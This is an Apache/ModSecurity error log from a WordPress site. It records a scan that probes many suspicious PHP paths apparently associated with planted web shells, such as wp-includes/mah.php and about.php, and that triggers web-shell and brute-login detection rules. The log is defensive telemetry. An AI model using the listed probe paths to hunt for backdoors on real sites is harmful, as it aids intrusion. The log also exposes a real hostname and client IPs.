[Thu Nov 13 07:22:03.756075 2025] [:error] [pid 22307:tid 22318] [client 63.135.161.155:44149] [client 63.135.161.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.155, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aRUWm6r7fLMQQanZ_9ycygAAAMk"]
[Thu Nov 13 07:22:03.762490 2025] [proxy_fcgi:error] [pid 22307:tid 22318] [client 63.135.161.155:44149] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:22:14.353909 2025] [:error] [pid 22307:tid 22333] [client 63.135.161.155:44149] [client 63.135.161.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/mah.php"] [unique_id "aRUWpqr7fLMQQanZ_9yc2wAAANg"]
[Thu Nov 13 07:22:16.441473 2025] [:error] [pid 22307:tid 22316] [client 63.135.161.134:31605] [client 63.135.161.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.134, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aRUWqKr7fLMQQanZ_9yc3QAAAMc"]
[Thu Nov 13 07:22:18.572166 2025] [:error] [pid 22307:tid 22310] [client 63.135.161.134:31605] [client 63.135.161.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aRUWqqr7fLMQQanZ_9yc4wAAAME"]
[Thu Nov 13 07:22:29.503807 2025] [proxy_fcgi:error] [pid 22224:tid 22298] [client 63.135.161.131:63857] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:22:33.390577 2025] [:error] [pid 22224:tid 22293] [client 63.135.161.131:63857] [client 63.135.161.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aRUWubuEVuTj3a_UBfAfsAAAAI0"]
[Thu Nov 13 07:22:37.812918 2025] [:error] [pid 22222:tid 22237] [client 63.135.161.151:47493] [client 63.135.161.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "aRUWvTL-5qXvQuZkA4HAmwAAAAs"]
[Thu Nov 13 07:22:41.090629 2025] [:error] [pid 22566:tid 22591] [client 63.135.161.130:22799] [client 63.135.161.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.130, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aRUWwTfdqWaUbu3e06-yVQAAARc"]
[Thu Nov 13 07:22:53.399932 2025] [:error] [pid 22566:tid 22584] [client 63.135.161.130:22799] [client 63.135.161.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aRUWzTfdqWaUbu3e06-yXQAAARA"]
[Thu Nov 13 07:22:56.555243 2025] [:error] [pid 22307:tid 22309] [client 63.135.161.133:59797] [client 63.135.161.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/packed.php"] [unique_id "aRUW0Kr7fLMQQanZ_9ydJgAAAMA"]
[Thu Nov 13 07:23:10.708934 2025] [:error] [pid 34451:tid 34461] [client 173.239.211.67:57379] [client 173.239.211.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "aRUW3jRcD8KetQb4RaqkpwAAAUg"]
[Thu Nov 13 07:23:13.791743 2025] [:error] [pid 22566:tid 22572] [client 63.135.161.149:45977] [client 63.135.161.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aRUW4TfdqWaUbu3e06-yZQAAAQQ"]
[Thu Nov 13 07:23:16.815797 2025] [:error] [pid 34451:tid 34470] [client 173.239.211.62:35147] [client 173.239.211.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aRUW5DRcD8KetQb4RaqkyQAAAVE"]
[Thu Nov 13 07:23:24.755360 2025] [:error] [pid 22222:tid 22233] [client 63.135.161.136:36899] [client 63.135.161.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.136, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aRUW7DL-5qXvQuZkA4HBHAAAAAc"]
[Thu Nov 13 07:23:26.601630 2025] [:error] [pid 22222:tid 22228] [client 63.135.161.136:36899] [client 63.135.161.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aRUW7jL-5qXvQuZkA4HBHQAAAAI"]
[Thu Nov 13 07:23:38.697436 2025] [:error] [pid 22224:tid 22280] [client 63.135.161.156:53605] [client 63.135.161.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aRUW-ruEVuTj3a_UBfAf6AAAAIA"]
[Thu Nov 13 07:23:39.630167 2025] [:error] [pid 22224:tid 22298] [client 173.239.211.64:53783] [client 173.239.211.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aRUW-7uEVuTj3a_UBfAf6gAAAJI"]
[Thu Nov 13 07:23:47.365798 2025] [proxy_fcgi:error] [pid 22307:tid 22330] [client 173.239.211.73:38683] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:23:50.661309 2025] [proxy_fcgi:error] [pid 22307:tid 22330] [client 173.239.211.73:38683] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:23:51.165541 2025] [:error] [pid 22307:tid 22313] [client 173.239.211.73:38683] [client 173.239.211.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aRUXB6r7fLMQQanZ_9ydbgAAAMQ"]
[Thu Nov 13 07:23:57.347123 2025] [:error] [pid 34451:tid 34458] [client 173.239.211.74:62445] [client 173.239.211.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/votes.php"] [unique_id "aRUXDTRcD8KetQb4RaqlLAAAAUU"]
[Thu Nov 13 07:24:10.442640 2025] [proxy_fcgi:error] [pid 22222:tid 22227] [client 63.135.161.138:47531] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:24:12.957898 2025] [:error] [pid 22222:tid 22234] [client 63.135.161.138:47531] [client 63.135.161.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/file.php"] [unique_id "aRUXHDL-5qXvQuZkA4HBYAAAAAg"]
[Thu Nov 13 07:24:21.300028 2025] [:error] [pid 34451:tid 34466] [client 63.135.161.156:42265] [client 63.135.161.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aRUXJTRcD8KetQb4RaqlSAAAAU0"]
[Thu Nov 13 07:24:34.745637 2025] [proxy_fcgi:error] [pid 34451:tid 34463] [client 63.135.161.146:57667] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:24:35.203827 2025] [:error] [pid 34451:tid 34453] [client 63.135.161.146:57667] [client 63.135.161.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aRUXMzRcD8KetQb4RaqlWgAAAUA"]
[Thu Nov 13 07:24:36.145880 2025] [proxy_fcgi:error] [pid 22224:tid 22300] [client 63.135.161.153:65305] AH01071: Got error 'Primary script unknown'
[Thu Nov 13 07:24:41.864292 2025] [proxy_fcgi:error] [pid 22224:tid 22304] [client 63.135.161.153:65305] AH01071: Got error 'PHP message: PHP Warning:  Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in /home/rcacivils/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/rcacivils/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/rcacivils/public_html/wp-settings.php on line 34PHP message: PHP Fatal error:  require(): Failed opening required 'ABSPATHwp-includes/version.php' (include_path='.:') in /home/rcacivils/public_html/wp-settings.php on line 34'
[Thu Nov 13 07:24:42.848051 2025] [:error] [pid 22224:tid 22284] [client 173.239.211.76:34273] [client 173.239.211.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aRUXOruEVuTj3a_UBfAgOgAAAIQ"]
[Thu Nov 13 07:24:57.125836 2025] [:error] [pid 22222:tid 22236] [client 63.135.161.152:39795] [client 63.135.161.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/item.php"] [unique_id "aRUXSTL-5qXvQuZkA4HCJQAAAAo"]
[Thu Nov 13 07:25:12.932040 2025] [:error] [pid 22307:tid 22329] [client 173.239.211.73:54541] [client 173.239.211.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.211.73, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aRUXWKr7fLMQQanZ_9yd7AAAANQ"]
[Thu Nov 13 07:25:16.347421 2025] [:error] [pid 22307:tid 22322] [client 173.239.211.73:54541] [client 173.239.211.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.211.73, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aRUXXKr7fLMQQanZ_9yd7gAAAM0"]
[Thu Nov 13 07:25:19.284824 2025] [:error] [pid 22307:tid 22327] [client 173.239.211.73:54541] [client 173.239.211.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/mani.php"] [unique_id "aRUXX6r7fLMQQanZ_9yd9AAAANI"]
[Thu Nov 13 07:25:33.956543 2025] [:error] [pid 22222:tid 22235] [client 63.135.161.139:39319] [client 63.135.161.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "aRUXbTL-5qXvQuZkA4HCYwAAAAk"]
[Thu Nov 13 07:25:51.029637 2025] [autoindex:error] [pid 22224:tid 22297] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:25:51.500658 2025] [autoindex:error] [pid 22224:tid 22294] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:25:52.004419 2025] [autoindex:error] [pid 22224:tid 22281] [client 63.135.161.136:29305] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:01.686723 2025] [autoindex:error] [pid 22224:tid 22299] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:03.978589 2025] [autoindex:error] [pid 22224:tid 22290] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:05.049332 2025] [autoindex:error] [pid 22224:tid 22284] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:05.518194 2025] [autoindex:error] [pid 22224:tid 22297] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:05.986601 2025] [autoindex:error] [pid 22224:tid 22302] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:06.536953 2025] [autoindex:error] [pid 22224:tid 22301] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:07.496781 2025] [autoindex:error] [pid 22224:tid 22280] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:08.008679 2025] [autoindex:error] [pid 22224:tid 22298] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:08.520538 2025] [autoindex:error] [pid 22224:tid 22304] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:08.980354 2025] [autoindex:error] [pid 22224:tid 22300] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:16.486819 2025] [autoindex:error] [pid 22224:tid 22304] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:26:18.342606 2025] [autoindex:error] [pid 22224:tid 22285] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:00.068916 2025] [autoindex:error] [pid 22224:tid 22290] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:00.676808 2025] [autoindex:error] [pid 22224:tid 22293] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:01.238809 2025] [autoindex:error] [pid 22224:tid 22281] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:01.741800 2025] [autoindex:error] [pid 22224:tid 22289] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:02.420469 2025] [autoindex:error] [pid 22224:tid 22304] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:02.945533 2025] [autoindex:error] [pid 22224:tid 22295] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:03.530695 2025] [autoindex:error] [pid 22224:tid 22280] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:06.031767 2025] [autoindex:error] [pid 22224:tid 22298] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 07:27:06.507740 2025] [autoindex:error] [pid 22224:tid 22303] [client 63.135.161.136:29305] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
